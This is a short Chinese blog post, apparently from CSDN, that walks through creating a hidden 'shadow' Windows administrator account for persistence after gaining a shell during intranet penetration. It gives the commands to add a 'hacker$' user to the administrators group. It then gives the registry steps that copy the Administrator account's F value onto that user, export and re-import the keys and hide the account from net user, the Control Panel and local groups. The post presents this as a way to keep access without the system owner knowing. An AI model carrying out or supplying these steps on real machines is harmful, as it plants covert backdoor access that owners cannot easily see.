创建影子用户

最新推荐文章于 2024-08-03 11:22:31 发布

幼稚园撒手

最新推荐文章于 2024-08-03 11:22:31 发布

阅读量464

点赞数 9

文章标签： windows安全影子用户

本文链接：https://blog.csdn.net/woshicainiao666/article/details/137825142

版权

本文介绍了如何在内网渗透中创建不可见的影子用户，通过修改注册表、添加管理员权限，实现权限维持，同时讨论了删除用户和隐藏账户的方法。

摘要由CSDN通过智能技术生成

1.认识影子用户

影子用户通常指的是那些在系统用户列表中不可见，但在某些情况下可以进行操作的用户。

在内网渗透过程中，当我们拿到shell时，肯定要进行权限维持，影子用户就是在用户不知情的状态下，创建一个具有管理员权限的用户

net user hacker$ 123qaz@WSX /add
net localgroup administrators hacker$ /add                     将hacker用户添加到管理员组

在这里插入图片描述

win+r:regedit------->打开注册表
修改权限
在这里插入图片描述
找到对应的类型

administrator:1F4
hacker$:3e9

在这里插入图片描述

复制1F4中F的值，粘贴到3E9的F中

将00003e9导出为1.reg,hacker$导出为2.reg

net user hacker$ /del

按顺序点击1.reg和2.reg文件，重新导入

在这里插入图片描述
至此：控制面板看不到。net user看不到。本地用户组看不到，但是注册表还是可以看到的

关注